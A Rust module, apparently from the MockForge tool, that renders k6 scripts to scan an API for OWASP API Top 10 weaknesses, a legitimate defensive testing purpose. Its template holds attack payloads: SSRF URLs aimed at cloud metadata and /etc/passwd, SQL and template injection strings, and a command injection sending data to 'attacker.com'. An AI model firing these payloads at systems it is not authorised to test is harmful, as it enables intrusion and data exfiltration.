1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15pub struct OwaspApiGenerator {
17 config: OwaspApiConfig,
19 target_url: String,
21 operations: Vec<OperationInfo>,
23}
24
25#[derive(Debug, Clone)]
27pub struct OperationInfo {
28 pub method: String,
30 pub path: String,
32 pub operation_id: Option<String>,
34 pub path_params: Vec<PathParam>,
36 pub query_params: Vec<QueryParam>,
38 pub has_body: bool,
40 pub content_type: Option<String>,
42 pub requires_auth: bool,
44 pub tags: Vec<String>,
46}
47
48#[derive(Debug, Clone)]
50pub struct PathParam {
51 pub name: String,
52 pub param_type: String,
53 pub example: Option<String>,
54}
55
56#[derive(Debug, Clone)]
58pub struct QueryParam {
59 pub name: String,
60 pub param_type: String,
61 pub required: bool,
62}
63
64impl OwaspApiGenerator {
65 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67 let operations = Self::extract_operations(parser);
68 Self {
69 config,
70 target_url,
71 operations,
72 }
73 }
74
75 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77 parser
78 .get_operations()
79 .into_iter()
80 .map(|op| {
81 let path_params: Vec<PathParam> = op
83 .path
84 .split('/')
85 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86 .map(|segment| {
87 let name = segment.trim_start_matches('{').trim_end_matches('}');
88 PathParam {
89 name: name.to_string(),
90 param_type: "string".to_string(),
91 example: None,
92 }
93 })
94 .collect();
95
96 OperationInfo {
97 method: op.method.to_uppercase(),
98 path: op.path.clone(),
99 operation_id: op.operation_id.clone(),
100 path_params,
101 query_params: Vec::new(),
102 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103 content_type: Some("application/json".to_string()),
104 requires_auth: true, tags: op.operation.tags.clone(),
106 }
107 })
108 .collect()
109 }
110
111 pub fn generate(&self) -> Result<String> {
113 let mut handlebars = Handlebars::new();
114
115 handlebars.register_helper("contains", Box::new(contains_helper));
117 handlebars.register_helper("eq", Box::new(eq_helper));
118
119 let template = self.get_script_template();
120 let data = self.build_template_data()?;
121
122 handlebars
123 .render_template(&template, &data)
124 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125 }
126
127 fn build_template_data(&self) -> Result<Value> {
129 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130 let mut test_cases: Vec<Value> = Vec::new();
131
132 for category in self.config.categories_to_test() {
134 let category_tests = self.generate_category_tests(category, &payload_generator)?;
135 test_cases.extend(category_tests);
136 }
137
138 let categories = self.config.categories_to_test();
140 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142 let test_api3 =
143 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144 let test_api4 =
145 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146 let test_api5 =
147 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151 let test_api9 =
152 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153 let test_api10 =
154 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156 let base_path = self.config.base_path.clone().unwrap_or_default();
158 let build_path = |path: &str| -> String {
159 if base_path.is_empty() {
160 path.to_string()
161 } else {
162 format!("{}{}", base_path.trim_end_matches('/'), path)
163 }
164 };
165
166 let ops_with_path_params: Vec<Value> = self
168 .operations
169 .iter()
170 .filter(|op| op.path.contains('{'))
171 .map(|op| {
172 json!({
173 "method": op.method.to_lowercase(),
174 "path": build_path(&op.path),
175 })
176 })
177 .collect();
178
179 let get_operations: Vec<Value> = self
181 .operations
182 .iter()
183 .filter(|op| op.method.to_lowercase() == "get")
184 .map(|op| {
185 json!({
186 "method": op.method.to_lowercase(),
187 "path": build_path(&op.path),
188 })
189 })
190 .collect();
191
192 let auth_header_name = escape_js_string(&self.config.auth_header);
194 let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
195
196 Ok(json!({
197 "base_url": self.target_url,
198 "auth_header_name": auth_header_name,
199 "valid_auth_token": valid_auth_token,
200 "concurrency": self.config.concurrency,
201 "iterations": self.config.iterations,
202 "timeout_ms": self.config.timeout_ms,
203 "report_path": self.config.report_path.to_string_lossy(),
204 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
205 "test_cases": test_cases,
206 "operations": self.operations.iter().map(|op| json!({
207 "method": op.method.to_lowercase(),
208 "path": build_path(&op.path),
209 "operation_id": op.operation_id,
210 "has_body": op.has_body,
211 "requires_auth": op.requires_auth,
212 "has_path_params": op.path.contains('{'),
213 })).collect::<Vec<_>>(),
214 "ops_with_path_params": ops_with_path_params,
215 "get_operations": get_operations,
216 "verbose": self.config.verbose,
217 "insecure": self.config.insecure,
218 "custom_headers": self.config.custom_headers.iter()
220 .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
221 .collect::<Vec<_>>(),
222 "has_custom_headers": !self.config.custom_headers.is_empty(),
223 "test_api1": test_api1,
225 "test_api2": test_api2,
226 "test_api3": test_api3,
227 "test_api4": test_api4,
228 "test_api5": test_api5,
229 "test_api6": test_api6,
230 "test_api7": test_api7,
231 "test_api8": test_api8,
232 "test_api9": test_api9,
233 "test_api10": test_api10,
234 }))
235 }
236
237 fn generate_category_tests(
239 &self,
240 category: OwaspCategory,
241 payload_generator: &OwaspPayloadGenerator,
242 ) -> Result<Vec<Value>> {
243 let payloads = payload_generator.generate_for_category(category);
244 let mut tests = Vec::new();
245
246 for payload in payloads {
247 let applicable_ops = self.get_applicable_operations(&payload);
249
250 for op in applicable_ops {
251 tests.push(json!({
252 "category": category.cli_name(),
253 "category_name": category.short_name(),
254 "description": payload.description,
255 "method": op.method.to_lowercase(),
256 "path": op.path,
257 "payload": payload.value,
258 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
259 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
260 "notes": payload.notes,
261 }));
262 }
263 }
264
265 Ok(tests)
266 }
267
268 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
270 match payload.injection_point {
271 InjectionPoint::PathParam => {
272 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
274 }
275 InjectionPoint::Body => {
276 self.operations.iter().filter(|op| op.has_body).collect()
278 }
279 InjectionPoint::Header | InjectionPoint::Omit => {
280 self.operations.iter().filter(|op| op.requires_auth).collect()
282 }
283 InjectionPoint::QueryParam => {
284 self.operations.iter().collect()
286 }
287 InjectionPoint::Modify => {
288 self.operations.iter().collect()
290 }
291 }
292 }
293
294 fn get_script_template(&self) -> String {
296 r#"// OWASP API Security Top 10 Test Script
297// Generated by MockForge - https://mockforge.dev
298// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
299
300import http from 'k6/http';
301import { check, sleep, group } from 'k6';
302import { Trend, Counter, Rate } from 'k6/metrics';
303
304// Configuration
305const BASE_URL = '{{{base_url}}}';
306const AUTH_HEADER = '{{{auth_header_name}}}';
307{{#if valid_auth_token}}
308const VALID_TOKEN = '{{{valid_auth_token}}}';
309{{else}}
310const VALID_TOKEN = null;
311{{/if}}
312const TIMEOUT = '{{timeout_ms}}ms';
313const VERBOSE = {{verbose}};
314const INSECURE = {{insecure}};
315
316// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
317const CUSTOM_HEADERS = {
318{{#each custom_headers}}
319 '{{{name}}}': '{{{value}}}',
320{{/each}}
321};
322
323// Custom metrics
324const findingsCounter = new Counter('owasp_findings');
325const testsRun = new Counter('owasp_tests_run');
326const vulnerableRate = new Rate('owasp_vulnerable_rate');
327const responseTime = new Trend('owasp_response_time');
328
329// Test options - use per-VU iterations scenario for controlled test runs
330export const options = {
331 scenarios: {
332 owasp_security_test: {
333 executor: 'per-vu-iterations',
334 vus: {{concurrency}},
335 iterations: {{iterations}}, // Iterations per VU
336 maxDuration: '30m',
337 },
338 },
339 thresholds: {
340 'owasp_findings': ['count<100'], // Alert if too many findings
341 },
342 insecureSkipTLSVerify: INSECURE,
343};
344
345// Findings storage
346const findings = [];
347
348// Helper: Log a finding
349function logFinding(category, endpoint, method, description, evidence) {
350 const finding = {
351 category,
352 endpoint,
353 method,
354 description,
355 evidence,
356 timestamp: new Date().toISOString(),
357 };
358 findings.push(finding);
359 findingsCounter.add(1);
360 vulnerableRate.add(1);
361
362 if (VERBOSE) {
363 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
364 }
365}
366
367// Helper: Log test passed
368function logPass(category, endpoint, method) {
369 vulnerableRate.add(0);
370 if (VERBOSE) {
371 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
372 }
373}
374
375// Helper: Generate a random UUID for path parameters
376// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
377function generateRandomId() {
378 return crypto.randomUUID();
379}
380
381// Helper: Replace path parameters with random UUIDs
382// Replaces all {param} patterns with new random UUIDs
383function replacePathParams(path) {
384 return path.replace(/{[^}]+}/g, () => generateRandomId());
385}
386
387// Helper: Make authenticated request
388function authRequest(method, url, body, additionalHeaders = {}) {
389 // Clear cookie jar before EVERY request to prevent k6 from merging
390 // Set-Cookie response cookies with our manually specified Cookie header
391 {{#if has_custom_headers}}
392 http.cookieJar().clear(url);
393 {{/if}}
394
395 const headers = {
396 'Content-Type': 'application/json',
397 ...CUSTOM_HEADERS,
398 ...additionalHeaders,
399 };
400
401 if (VALID_TOKEN) {
402 headers[AUTH_HEADER] = VALID_TOKEN;
403 }
404
405 const params = {
406 headers,
407 timeout: TIMEOUT,
408 jar: null,
409 };
410
411 // k6 uses 'del' instead of 'delete'
412 const httpMethod = method === 'delete' ? 'del' : method;
413
414 if (httpMethod === 'get' || httpMethod === 'head') {
415 return http[httpMethod](url, params);
416 } else {
417 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
418 }
419}
420
421// Helper: Make unauthenticated request
422function unauthRequest(method, url, body, additionalHeaders = {}) {
423 {{#if has_custom_headers}}
424 http.cookieJar().clear(url);
425 {{/if}}
426
427 const headers = {
428 'Content-Type': 'application/json',
429 ...CUSTOM_HEADERS,
430 ...additionalHeaders,
431 };
432
433 const params = {
434 headers,
435 timeout: TIMEOUT,
436 jar: null,
437 };
438
439 // k6 uses 'del' instead of 'delete'
440 const httpMethod = method === 'delete' ? 'del' : method;
441
442 if (httpMethod === 'get' || httpMethod === 'head') {
443 return http[httpMethod](url, params);
444 } else {
445 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
446 }
447}
448
449// API1: Broken Object Level Authorization (BOLA)
450function testBola() {
451 group('API1 - BOLA', function() {
452 console.log('[API1] Testing Broken Object Level Authorization...');
453
454 {{#each operations}}
455 {{#if has_path_params}}
456 // Test {{path}}
457 {
458 // Generate different random UUIDs for each test
459 const originalId = generateRandomId();
460 const targetId = generateRandomId();
461 const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
462 const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
463
464 if (VERBOSE) {
465 console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
466 }
467
468 // Get baseline with first random ID
469 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
470
471 // Try to access different random ID (simulating another user's resource)
472 const response = authRequest('{{method}}', BASE_URL + targetPath, null);
473 testsRun.add(1);
474 responseTime.add(response.timings.duration);
475
476 if (response.status >= 200 && response.status < 300) {
477 // Check if we got different data (potential BOLA vulnerability)
478 if (response.body !== baseline.body && response.body.length > 0) {
479 logFinding('api1', '{{path}}', '{{method}}',
480 'ID manipulation accepted - accessed different resource',
481 { status: response.status, originalId, targetId, bodyLength: response.body.length });
482 } else {
483 logPass('api1', '{{path}}', '{{method}}');
484 }
485 } else {
486 logPass('api1', '{{path}}', '{{method}}');
487 }
488 }
489 {{/if}}
490 {{/each}}
491 });
492}
493
494// API2: Broken Authentication
495function testBrokenAuth() {
496 group('API2 - Broken Authentication', function() {
497 console.log('[API2] Testing Broken Authentication...');
498
499 {{#each operations}}
500 {{#if requires_auth}}
501 // Test {{path}} without auth
502 {
503 const testPath = replacePathParams('{{path}}');
504 const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
505 testsRun.add(1);
506 responseTime.add(response.timings.duration);
507
508 if (response.status >= 200 && response.status < 300) {
509 logFinding('api2', '{{path}}', '{{method}}',
510 'Endpoint accessible without authentication',
511 { status: response.status });
512 } else {
513 logPass('api2', '{{path}}', '{{method}}');
514 }
515 }
516
517 // Test {{path}} with empty token
518 {
519 const testPath = replacePathParams('{{path}}');
520 const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
521 {{#if @root.has_custom_headers}}
522 http.cookieJar().clear(BASE_URL + testPath);
523 {{/if}}
524 const makeEmptyTokenRequest = (m, url, body, params) => {
525 if (m === 'get' || m === 'head') return http[m](url, params);
526 return http[m](url, body, params);
527 };
528 const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
529 headers: { [AUTH_HEADER]: 'Bearer ' },
530 timeout: TIMEOUT,
531 jar: null,
532 });
533 testsRun.add(1);
534
535 if (response.status >= 200 && response.status < 300) {
536 logFinding('api2', '{{path}}', '{{method}}',
537 'Endpoint accessible with empty Bearer token',
538 { status: response.status });
539 }
540 }
541 {{/if}}
542 {{/each}}
543 });
544}
545
546// API3: Broken Object Property Level Authorization (Mass Assignment)
547function testMassAssignment() {
548 group('API3 - Mass Assignment', function() {
549 console.log('[API3] Testing Mass Assignment...');
550
551 const massAssignmentPayloads = [
552 { role: 'admin' },
553 { is_admin: true },
554 { isAdmin: true },
555 { permissions: ['admin', 'write', 'delete'] },
556 { verified: true },
557 { email_verified: true },
558 { balance: 999999 },
559 ];
560
561 {{#each operations}}
562 {{#if has_body}}
563 // Test {{path}}
564 {
565 const testPath = replacePathParams('{{path}}');
566 massAssignmentPayloads.forEach(payload => {
567 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
568 testsRun.add(1);
569 responseTime.add(response.timings.duration);
570
571 if (response.status >= 200 && response.status < 300) {
572 // Check if unauthorized field appears in response
573 const responseBody = response.body.toLowerCase();
574 const payloadKey = Object.keys(payload)[0].toLowerCase();
575
576 if (responseBody.includes(payloadKey)) {
577 logFinding('api3', '{{path}}', '{{method}}',
578 `Mass assignment accepted: ${payloadKey}`,
579 { status: response.status, payload });
580 } else {
581 logPass('api3', '{{path}}', '{{method}}');
582 }
583 }
584 });
585 }
586 {{/if}}
587 {{/each}}
588 });
589}
590
591// API4: Unrestricted Resource Consumption
592function testResourceConsumption() {
593 group('API4 - Resource Consumption', function() {
594 console.log('[API4] Testing Resource Consumption...');
595
596 {{#each operations}}
597 // Test {{path}} with excessive limit
598 {
599 const testPath = replacePathParams('{{path}}');
600 const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
601 const response = authRequest('{{method}}', url, null);
602 testsRun.add(1);
603 responseTime.add(response.timings.duration);
604
605 // Check for rate limit headers
606 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
607 response.headers['x-ratelimit-limit'] ||
608 response.headers['RateLimit-Limit'];
609
610 if (response.status === 429) {
611 logPass('api4', '{{path}}', '{{method}}');
612 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
613 logFinding('api4', '{{path}}', '{{method}}',
614 'No rate limiting detected',
615 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
616 } else {
617 logPass('api4', '{{path}}', '{{method}}');
618 }
619 }
620 {{/each}}
621 });
622}
623
624// API5: Broken Function Level Authorization
625function testFunctionAuth() {
626 group('API5 - Function Authorization', function() {
627 console.log('[API5] Testing Function Level Authorization...');
628
629 const adminPaths = [
630 '/admin',
631 '/admin/users',
632 '/admin/settings',
633 '/api/admin',
634 '/internal',
635 '/management',
636 ];
637
638 adminPaths.forEach(path => {
639 const response = authRequest('get', BASE_URL + path, null);
640 testsRun.add(1);
641 responseTime.add(response.timings.duration);
642
643 if (response.status >= 200 && response.status < 300) {
644 logFinding('api5', path, 'GET',
645 'Admin endpoint accessible',
646 { status: response.status });
647 } else if (response.status === 403 || response.status === 401) {
648 logPass('api5', path, 'GET');
649 }
650 });
651
652 // Also test changing methods on read-only endpoints
653 {{#each get_operations}}
654 {
655 const testPath = replacePathParams('{{path}}');
656 const response = authRequest('delete', BASE_URL + testPath, null);
657 testsRun.add(1);
658
659 if (response.status >= 200 && response.status < 300) {
660 logFinding('api5', '{{path}}', 'DELETE',
661 'DELETE method allowed on read-only endpoint',
662 { status: response.status });
663 }
664 }
665 {{/each}}
666 });
667}
668
669// API7: Server Side Request Forgery (SSRF)
670function testSsrf() {
671 group('API7 - SSRF', function() {
672 console.log('[API7] Testing Server Side Request Forgery...');
673
674 const ssrfPayloads = [
675 'http://localhost/',
676 'http://127.0.0.1/',
677 'http://169.254.169.254/latest/meta-data/',
678 'http://[::1]/',
679 'file:///etc/passwd',
680 ];
681
682 {{#each operations}}
683 {{#if has_body}}
684 // Test {{path}} with SSRF payloads
685 {
686 const testPath = replacePathParams('{{path}}');
687 ssrfPayloads.forEach(payload => {
688 const body = {
689 url: payload,
690 webhook_url: payload,
691 callback: payload,
692 image_url: payload,
693 };
694
695 const response = authRequest('{{method}}', BASE_URL + testPath, body);
696 testsRun.add(1);
697 responseTime.add(response.timings.duration);
698
699 if (response.status >= 200 && response.status < 300) {
700 // Check for indicators of internal access
701 const bodyLower = response.body.toLowerCase();
702 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
703
704 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
705 logFinding('api7', '{{path}}', '{{method}}',
706 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
707 { status: response.status, payload });
708 }
709 }
710 });
711 }
712 {{/if}}
713 {{/each}}
714 });
715}
716
717// API8: Security Misconfiguration
718function testMisconfiguration() {
719 group('API8 - Security Misconfiguration', function() {
720 console.log('[API8] Testing Security Misconfiguration...');
721
722 {{#each operations}}
723 // Test {{path}} for security headers
724 {
725 const testPath = replacePathParams('{{path}}');
726 const response = authRequest('{{method}}', BASE_URL + testPath, null);
727 testsRun.add(1);
728 responseTime.add(response.timings.duration);
729
730 const missingHeaders = [];
731
732 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
733 missingHeaders.push('X-Content-Type-Options');
734 }
735 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
736 missingHeaders.push('X-Frame-Options');
737 }
738 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
739 missingHeaders.push('Strict-Transport-Security');
740 }
741
742 // Check for overly permissive CORS
743 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
744 if (acao === '*') {
745 logFinding('api8', '{{path}}', '{{method}}',
746 'CORS allows all origins (Access-Control-Allow-Origin: *)',
747 { status: response.status });
748 }
749
750 if (missingHeaders.length > 0) {
751 logFinding('api8', '{{path}}', '{{method}}',
752 `Missing security headers: ${missingHeaders.join(', ')}`,
753 { status: response.status, missingHeaders });
754 }
755 }
756 {{/each}}
757
758 // Test for verbose errors
759 {{#each operations}}
760 {{#if has_body}}
761 {
762 const testPath = replacePathParams('{{path}}');
763 const malformedBody = '{"invalid": "json';
764 {{#if @root.has_custom_headers}}
765 http.cookieJar().clear(BASE_URL + testPath);
766 {{/if}}
767 const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
768 headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
769 timeout: TIMEOUT,
770 jar: null,
771 });
772 testsRun.add(1);
773
774 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
775 const bodyLower = response.body.toLowerCase();
776
777 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
778 logFinding('api8', '{{path}}', '{{method}}',
779 'Verbose error messages exposed',
780 { status: response.status });
781 }
782 }
783 {{/if}}
784 {{/each}}
785 });
786}
787
788// API9: Improper Inventory Management
789function testInventory() {
790 group('API9 - Inventory Management', function() {
791 console.log('[API9] Testing Improper Inventory Management...');
792
793 const discoveryPaths = [
794 '/swagger',
795 '/swagger-ui',
796 '/swagger.json',
797 '/api-docs',
798 '/openapi',
799 '/openapi.json',
800 '/graphql',
801 '/graphiql',
802 '/debug',
803 '/actuator',
804 '/actuator/health',
805 '/actuator/env',
806 '/metrics',
807 '/.env',
808 '/config',
809 ];
810
811 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
812
813 discoveryPaths.forEach(path => {
814 {{#if @root.has_custom_headers}}
815 http.cookieJar().clear(BASE_URL + path);
816 {{/if}}
817 const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: null });
818 testsRun.add(1);
819 responseTime.add(response.timings.duration);
820
821 if (response.status !== 404) {
822 logFinding('api9', path, 'GET',
823 `Undocumented endpoint discovered (HTTP ${response.status})`,
824 { status: response.status });
825 }
826 });
827
828 // Check for old API versions
829 apiVersions.forEach(version => {
830 {{#if @root.has_custom_headers}}
831 http.cookieJar().clear(BASE_URL + '/' + version + '/');
832 {{/if}}
833 const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: null });
834 testsRun.add(1);
835
836 if (response.status !== 404) {
837 logFinding('api9', '/' + version + '/', 'GET',
838 `API version endpoint exists (HTTP ${response.status})`,
839 { status: response.status });
840 }
841 });
842 });
843}
844
845// API10: Unsafe Consumption of APIs
846function testUnsafeConsumption() {
847 group('API10 - Unsafe Consumption', function() {
848 console.log('[API10] Testing Unsafe Consumption...');
849
850 const injectionPayloads = [
851 { external_id: "'; DROP TABLE users;--" },
852 { integration_data: "$(curl attacker.com/exfil)" },
853 { template: "\{{7*7}}" },
854 { webhook_url: "http://127.0.0.1:8080/internal" },
855 ];
856
857 {{#each operations}}
858 {{#if has_body}}
859 // Test {{path}} with injection payloads
860 {
861 const testPath = replacePathParams('{{path}}');
862 injectionPayloads.forEach(payload => {
863 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
864 testsRun.add(1);
865 responseTime.add(response.timings.duration);
866
867 // Check if payload was processed (e.g., SSTI returning 49)
868 if (response.body.includes('49')) {
869 logFinding('api10', '{{path}}', '{{method}}',
870 'Server-side template injection detected',
871 { status: response.status, payload });
872 }
873 });
874 }
875 {{/if}}
876 {{/each}}
877 });
878}
879
880// Main test function
881export default function() {
882 // Clear cookie jar to prevent duplication with manually specified Cookie headers.
883 // k6 accumulates cookies from Set-Cookie response headers in its VU cookie jar,
884 // which can cause duplicate cookie values even when jar:null is set per-request.
885 {{#if has_custom_headers}}
886 http.cookieJar().clear(BASE_URL);
887 {{/if}}
888
889 console.log('Starting OWASP API Top 10 Security Scan...');
890 console.log('Target: ' + BASE_URL);
891 console.log('');
892
893 {{#if test_api1}}
894 testBola();
895 {{/if}}
896 {{#if test_api2}}
897 testBrokenAuth();
898 {{/if}}
899 {{#if test_api3}}
900 testMassAssignment();
901 {{/if}}
902 {{#if test_api4}}
903 testResourceConsumption();
904 {{/if}}
905 {{#if test_api5}}
906 testFunctionAuth();
907 {{/if}}
908 {{#if test_api7}}
909 testSsrf();
910 {{/if}}
911 {{#if test_api8}}
912 testMisconfiguration();
913 {{/if}}
914 {{#if test_api9}}
915 testInventory();
916 {{/if}}
917 {{#if test_api10}}
918 testUnsafeConsumption();
919 {{/if}}
920
921 sleep(0.1);
922}
923
924// Teardown: Output results
925export function teardown(data) {
926 console.log('');
927 console.log('='.repeat(50));
928 console.log('OWASP API Top 10 Scan Complete');
929 console.log('='.repeat(50));
930 console.log('Total findings: ' + findings.length);
931
932 if (findings.length > 0) {
933 console.log('');
934 console.log('Findings by category:');
935 const byCategory = {};
936 findings.forEach(f => {
937 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
938 });
939 Object.entries(byCategory).forEach(([cat, count]) => {
940 console.log(' ' + cat + ': ' + count);
941 });
942 }
943
944 // Write JSON report
945 console.log('');
946 console.log('Report written to: {{report_path}}');
947}
948"#.to_string()
949 }
950}
951
952fn contains_helper(
954 h: &handlebars::Helper,
955 _: &Handlebars,
956 _: &handlebars::Context,
957 _: &mut handlebars::RenderContext,
958 out: &mut dyn handlebars::Output,
959) -> handlebars::HelperResult {
960 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
961 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
962 let result = param1.contains(param2);
963 out.write(&result.to_string())?;
964 Ok(())
965}
966
967fn eq_helper(
969 h: &handlebars::Helper,
970 _: &Handlebars,
971 _: &handlebars::Context,
972 _: &mut handlebars::RenderContext,
973 out: &mut dyn handlebars::Output,
974) -> handlebars::HelperResult {
975 let param1 = h.param(0).map(|v| v.value());
976 let param2 = h.param(1).map(|v| v.value());
977 let result = param1 == param2;
978 out.write(&result.to_string())?;
979 Ok(())
980}
981
982#[cfg(test)]
983mod tests {
984 use super::*;
985
986 #[test]
987 fn test_generator_creation() {
988 let template = r#"
991 {{#each operations}}
992 // {{method}} {{path}}
993 {{/each}}
994 "#;
995
996 let handlebars = Handlebars::new();
997 let data = json!({
998 "operations": [
999 { "method": "GET", "path": "/users" },
1000 { "method": "POST", "path": "/users" },
1001 ]
1002 });
1003
1004 let result = handlebars.render_template(template, &data);
1005 assert!(result.is_ok());
1006 }
1007
1008 #[test]
1009 fn test_script_template_renders() {
1010 let config = OwaspApiConfig::default()
1011 .with_categories([OwaspCategory::Api1Bola])
1012 .with_valid_auth_token("Bearer test123");
1013
1014 let template = r#"
1015const AUTH = '{{auth_header_name}}';
1016const TOKEN = '{{valid_auth_token}}';
1017{{#each categories_tested}}
1018// Testing: {{this}}
1019{{/each}}
1020 "#;
1021
1022 let handlebars = Handlebars::new();
1023 let data = json!({
1024 "auth_header_name": config.auth_header,
1025 "valid_auth_token": config.valid_auth_token,
1026 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1027 });
1028
1029 let result = handlebars.render_template(template, &data).unwrap();
1030 assert!(result.contains("Authorization"));
1031 assert!(result.contains("Bearer test123"));
1032 assert!(result.contains("api1"));
1033 }
1034
1035 #[test]
1036 fn test_owasp_cookie_jar_cleared_with_custom_headers() {
1037 let template = r#"
1039{{#if has_custom_headers}}
1040http.cookieJar().clear(BASE_URL);
1041{{/if}}
1042export default function() {}
1043"#;
1044 let handlebars = Handlebars::new();
1045 let data = json!({
1046 "has_custom_headers": true,
1047 });
1048 let result = handlebars.render_template(template, &data).unwrap();
1049 assert!(
1050 result.contains("http.cookieJar().clear(BASE_URL)"),
1051 "Should clear cookie jar when custom headers are present"
1052 );
1053
1054 let data_no_headers = json!({
1055 "has_custom_headers": false,
1056 });
1057 let result_no_headers = handlebars.render_template(template, &data_no_headers).unwrap();
1058 assert!(
1059 !result_no_headers.contains("cookieJar"),
1060 "Should NOT clear cookie jar when no custom headers"
1061 );
1062 }
1063}